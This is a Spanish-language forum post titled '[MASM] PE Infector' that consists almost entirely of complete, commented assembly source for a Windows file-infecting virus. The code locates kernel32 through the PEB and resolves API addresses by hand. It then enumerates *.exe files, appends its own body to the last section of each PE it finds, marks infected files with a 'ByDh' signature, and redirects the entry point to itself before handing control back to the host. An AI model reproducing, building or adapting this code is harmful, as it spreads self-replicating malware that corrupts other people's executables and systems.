[MASM] PE Infector

Iniciado por ANTRAX, Junio 05, 2012, 04:39:59 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 05, 2012, 04:39:59 PM Ultima modificación: Junio 03, 2013, 11:53:02 AM por Expermicid
Código: asm
.386
.model flat, stdcall
option casemap:none
assume fs:nothing

.code
vx_code:
start_vx_code:
        call _delta
                _delta:
                        ;Get the delta offset
                        pop ebp
                        sub ebp, offset _delta
                       
                        ;MyEntryPoint would be saved
                        ;in HostEntryPoint if the current
                        ;file were infected
                        mov eax, [ebp + HostEntryPoint]
                        mov [ebp + MyEntryPoint], eax
                       
                        ;Call to _GtGetProcAddress
                        ;to find out Kernel32 base
                        ;and GetProcAddress Address
                        call _GtGetProcAddress
                        mov [ebp + GtProcAdH], eax
                        mov [ebp + Kernel32H], edx
                        call _GtRequiredAPIs

                        _FindFirst:
                                ;Find first file, loading the parameters
                                ;according to ebp, delta offset
                        lea ebx, [ebp + win32_find_data]
                        lea edx, [ebp + filter]
                        push ebx
                        push edx
                        call [ebp + FindFirstFileAH]
                       
                        ;If it hasn't found any file
                        ;return to the host file code
                        cmp eax, -1
                        jz end_vx

                                ;Else save the Handle in FileHandleFind
                        mov [ebp + FileHandleFind], eax
                       
                        ;And call infect_file to try to infect it
                        call infect_file

                        _FindNext:
                               
                                ;Load the parameters for FindNextFileA and call it
                                lea ebx, [ebp + win32_find_data]
                                mov edx, [ebp + FileHandleFind]
                                push ebx
                                push edx
                                call [ebp + FindNextFileAH]
                               
                                ;If it hasn't found anything else, return
                                cmp eax, 00h
                                jz end_vx
                               
                                ;Else try to infect the file
                                call infect_file
                               
                                ;Search more files
                                jmp _FindNext
                        retn


                        end_vx:
                               
                                ;If delta offset is 00h
                                ;the virus is not running on
                                ;another executable, so exit to OS
                                cmp ebp, 00h
                                jnz return
                                retn
                                return:
                                        ;Else access to TIB to get
                                        ;the current ImageBase
                                        mov eax, fs:[030h]
                                mov eax,[eax + 08h]
                               
                                ;And add it to MyEntryPoint
                                add [ebp + MyEntryPoint], eax
                               
                                ;To jump
                                        jmp dword ptr[ebp + MyEntryPoint]

_procedures:
        _GtGetProcAddress:
               
                ;To get kernel32 ImageBase
                ;Looking at the PEB
                mov ebx, fs:[030h]
                mov ebx, [ebx + 0ch]
                mov ebx, [ebx + 0ch]
                mov ebx, [ebx + 00h]
                mov ebx, [ebx + 00h]
                mov eax, [ebx + 18h]
               
                ;To get export table address
                mov ebx, [eax + 3Ch]
                add ebx, eax
                mov ebx, [ebx + 78h]
                add ebx, eax
               
                ;Save that address
                push ebx
               
                ;Pointer to AddressOfNames
                mov ebx, [ebx + 20h]
                add ebx, eax
                xor edx, edx
                _loop:
                        ;Each entry of AddressOfNames
                        ;Is a pointer to one string
                        ;which has the name of one API
                        lea esi, [ebp + GpaName]
                        mov edi, [ebx + edx]
                        add edi, eax
                        mov ecx, 0Fh
                        add edx, 04h
                        repz cmpsb
                        jnz _loop
                sub edx, 04h
               
                ;Divide edx by 2 to use it as
                ;an index in AddressOfNameOrdinals
                ;(2 bytes by entry)
                shr edx, 01h
               
                ;Restore ExportTable address
                pop ebx
               
                ;Access to AddressOfNameOrdinals
                mov edi, [ebx + 24h]
                add edi, eax
               
                ;To get the index that is going
                ;to be used in AddressOfFunctions
                movzx edx, word ptr[edi + edx]

                ;Each entry is 4 bytes long
                shl edx, 02h
               
                ;Load AddressOfFunctions address in edi
                mov edi, [ebx + 1Ch]
                add edi, eax
               
                ;Load GetProcAddress address in edi
                mov edi, [edi + edx]
                add edi, eax
               
                ;edx = Kernel base
                ;eax = GetProcAddress address
                mov edx, eax
                mov eax, edi
                retn

        _GtRequiredAPIs:
                ;Source registry points to ApiListH (where the APIs handles will be)
                ;Destiny registry points to ApiListN (where the APIs names are)
                lea edi, [ebp + ApiListN]
                lea esi, [ebp + ApiListH]
               
                ;Ebx contains Kernel32 base
                mov ebx, [ebp + Kernel32H]
                GetAPI_Loop:
                        ;Push the Kernel base and
                        ;the API name to get its address
                        push edi
                        push ebx
                        call [ebp + GtProcAdH]
                       
                        ;Save the adress where source registry points
                        mov [esi], eax
                       
                        ;Find the next API in the list pointed by edi
                        xor eax, eax
                        repnz scasb
                       
                        ;Esi points to the next handle to fill up
                        add esi, 04h
                       
                        ;If it's not the end of the list
                        ;get the next API, else return
                        cmp byte ptr[edi], 00h
                        jnz GetAPI_Loop
                retn

        infect_file:
               
                ;VirusHostSize contains the size of the virus
                ;plus the size of the host
                mov ebx, VirusSize
                add ebx, [ebp + win32_find_data.nFileSizeLow]
                mov [ebp + VirusHostSize], ebx

                ;Open the file to read and write on it
                ;And shared on reading
                push 00h
                push 00h
                push 03h
                push 00h
                push 01h
                push 0C0000000h
                lea ebx, [ebp + win32_find_data.cFileName]
                push ebx
                call [ebp + CreateFileAH]
               
                ;If the file could not be opened
                ;jump to end_infect_file to search more files
                cmp eax, -1
                jz end_infect_file
               
                ;Else save the handle in FileHandleCreate
                mov [ebp + FileHandleCreate], eax

                ;Push the file size to the stack and map the file in memory
                ;Eax will contain the base address of the mapped file
                push [ebp + win32_find_data.nFileSizeLow]
                call map_file_in_memory
               
                ;Is it an executable file?
                cmp word ptr[eax], "ZM"
               
                ;Otherwise close the handles and return
                jnz close_view

                ;Ebx contains the address where the PE files
                ;header begins
                mov ebx, [eax + 3Ch]
                add ebx, eax
               
                ;If it's not a PE file close the handles and return
                cmp word ptr[ebx], "EP"
                jnz close_view

                ;If the file is already infected
                ;close the handles and return
                cmp dword ptr[eax + 6Ch], "hDyB"
                jz close_view

                ;falignvalue will contain the FileAlignment
                ;and salignvalue will contain the SectionAlignment
                mov eax, [ebx + 3Ch]
                mov [ebp + falignvalue], eax
                mov eax, [ebx + 38h]
                mov [ebp + salignvalue], eax

                ;Get the new size of the file
                ;that is, the VirusHostSize rounded up
                ;to the FileAlignment
                push dword ptr[ebp + VirusHostSize]
                push dword ptr[ebp + falignvalue]
                call _alignment
               
                ;And push it to the stack
                push eax

                ;Unmap the file
                push [ebp + MappedFile]
                call [ebp + UnmapViewOfFileH]
                push [ebp + FileHandleMap]
                call [ebp + CloseHandleH]
               
                ;And map it again with the new size
                call map_file_in_memory

                ;Save the base address of the mapped file
                push eax

                ;Mark the file with the signature ByDh
                mov dword ptr[eax + 6Ch], "hDyB"
               
                ;Ebx contains the PE header address
                mov ebx, [eax + 3Ch]
                add ebx, eax
               
                ;Save this address
                push ebx
               
                ;Move to edx the size of optional header
                movzx edx, word ptr[ebx + 14h]
               
                ;Load in esi the address of the first structure
                ;of the PE Section Table
                ;(PEHeader + SizeOfOptionalHeader + PEHeaderSize)
                lea esi, [ebx + edx + 18h]
               
                ;And push it to stack to use it later
                push esi
               
                ;Move to ecx NumberOfSections
                movzx ecx, word ptr[ebx + 06h]
               
                ;And push it to stack to use it later
                push ecx
               
               
                ;Eax = 00h, and it will contain
                ;the highest PointerToRawData
                xor eax, eax
                _SectionsLoop:
               
                        ;Compare the current biggest pointer
                        ;with the PointerToRawData of the next section
                        cmp [esi + 14h], eax
                       
                        ;If it isn't bigger jump to _notbigger
                        jb _notbigger
                       
                        ;Else save ecx (index of current section) in ebx
                        ;And move that pointer to eax
                        mov ebx, ecx
                        mov eax, [esi + 14h]
                        _notbigger:
                       
                        ;Esi points to the next section table
                        add esi, 28h
                        loop _SectionsLoop
               
                ;Eax = NumberOfSections
                pop eax
               
                ;Subtract ebx from the NumbersOfSections
                ;and multiply it by 28h
                sub eax, ebx
                mov ecx, 28h
                mul ecx
               
                ;Restore esi (the pointer to the first table)
                ;and add eax to make it point to the table which has
                ;the highest PointerToRawData
                pop esi
                add esi, eax


                ;Ebx contains VirtualSize, save it into the stack
                mov ebx, [esi + 08h]
                push ebx
               
                ;New VirtualSize = Old VirtualSize + VirusSize
                add ebx, VirusSize
                mov [esi + 08h], ebx
               
                ;Eax contains the new VirtualSize
                ;Rounded up to FileAlignment
                push ebx
                push [ebp + falignvalue]
                call _alignment
               
                ;That is, it's the new SizeOfRawData
                ;so change it up
                mov [esi + 10h], eax
               
                ;ecx = Old VirtualSize
                ;ebx = PE Header Address
                pop ecx
                pop ebx
               
                ;Save the EntryPoint of the file
                ;in HostEntryPoint
                mov edx, [ebx + 28h]
                mov [ebp + HostEntryPoint], edx
               
                ;edx = VirtualAddress + VirtualSize
                mov edx, [esi + 0Ch]
                add edx, ecx
               
                ;That is, the new EntryPoint
                ;so change it up
                mov [ebx + 28h], edx

                ;Save PE Header Address into the stack
                push ebx
               
                ;eax = New VirtualSize + VirtualAddress
                mov eax, [esi + 08h]
                add eax, [esi + 0Ch]
               
                ;Get the new SizeOfImage,
                ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000
                push eax
                push [ebp + salignvalue]
                call _alignment
               
                ;Set the new SizeOfImage
                pop ebx
                mov [ebx + 50h], eax

                ;Last section characteristics:
                ;CODE|EXECUTE|READ|WRITE
                or dword ptr[esi + 24h], 0E0000020h

                ;eax = Base Address of mapped file
                pop eax
               
                ;ebx = PointerToRawData
                mov ebx, [esi + 14h]
               
                ;ebx = Base Address + PointerToRawData + Old VirtualSize
                lea ebx, [eax + ebx]
                add ebx, ecx
               
                ;Copy the virus code in the host code
                ;esi = beginning of the virus code
                ;edi = end of the last section
                lea esi, [ebp + start_vx_code]
                mov edi, ebx
                mov ecx, VirusSize
                rep movsb


                ;Close all the handles
                jmp close_all

                _alignment:
                        ;The formula to align a value is:
                        ;AlignedValue = [(Value/Alignment)+1]*Alignment
                       
                       
                        ;Save the returning address in edi
                        pop edi
                       
                        ;Get the value to align and the alignment
                        pop ebx
                        pop eax
                       
                        xor edx, edx
                        div ebx
                        cmp edx, 00h
                        jz _align
                        inc eax
                                _align:
                                        xor edx, edx
                                        mul ebx
                       
                        ;Push the returning address
                        ;and jump to it
                        push edi
                        retn

                map_file_in_memory:
               
                        ;esi = returning address
                        ;edi = mapping size
                        pop esi
                        pop edi
                       
                        ;Create the file mapping object
                        push 00h
                        push edi
                        push 00h
                        push 04h
                        push 00h
                        push [ebp + FileHandleCreate]
                        call [ebp + CreateFileMappingAH]
                        cmp eax, 00h
                        jz close_file
                        mov [ebp + FileHandleMap], eax

                        ;And create a view of the file
                        ;using the size in edi
                        push edi
                        push 0
                        push 0
                        push 000F001Fh
                        push [ebp + FileHandleMap]
                        call [ebp + MapViewOfFileH]
                        cmp eax, 00h
                        jz close_filemap
                        mov [ebp + MappedFile], eax
                       
                        ;Set the returning address
                        ;and jump to it
                        push esi
                        retn



                ;Chain of functions which close the appropiate handles
                close_all:     
                close_view:
                        push [ebp + MappedFile]
                        call [ebp + UnmapViewOfFileH]

                close_filemap:
                        push [ebp + FileHandleMap]
                        call [ebp + CloseHandleH]

                close_file:
                        push [ebp + FileHandleCreate]
                        call [ebp + CloseHandleH]

                end_infect_file:
                        retn


_data:
        Kernel32H                       dd ?
        GtProcAdH                       dd ?
        GpaName                         db "GetProcAddress",0
        ExitProcessN            db "ExitProcess",0

        ApiListN                        db "FindFirstFileA",0
                                db "FindNextFileA",0
                                db "CreateFileA",0
                                db "CreateFileMappingA",0
                                db "MapViewOfFile",0
                                db "CloseHandle",0
                                db "UnmapViewOfFile",0
                                db 0
    ApiListH:
    FindFirstFileAH             dd ?
    FindNextFileAH      dd ?
    CreateFileAH        dd ?
    CreateFileMappingAH dd ?
    MapViewOfFileH              dd ?
    CloseHandleH                dd ?
    UnmapViewOfFileH    dd ?

    filter                              db "*.exe",0
    FileHandleFind              dd ?
    FileHandleCreate    dd ?
    FileHandleMap               dd ?
    MappedFile                  dd ?

    VirusSize                   equ end_vx_code - start_vx_code
    VirusHostSize               dd ?
    falignvalue                 dd ?
    salignvalue                 dd ?
    HostEntryPoint              dd 0
    MyEntryPoint                dd 0

    filetime struct
        FT_dwLowDateTime                dd ?
        FT_dwHighDateTime               dd ?
    filetime ends

    find_data struct
        dwFileAttributes                dd ?
        ftCreationTime                  filetime <?>         
        ftLastAccessTime                filetime <?>
        ftLastWriteTime                 filetime <?>
        nFileSizeHigh                   dd ?
        nFileSizeLow                    dd ?
        dwReserved0                     dd ?
        dwReserved1                     dd ?
        cFileName                       db 512 dup (?)
        cAlternateFileName              db 14 dup  (?)
    find_data ends

    win32_find_data                     find_data <?>

end_vx_code:
end vx_code


By dvk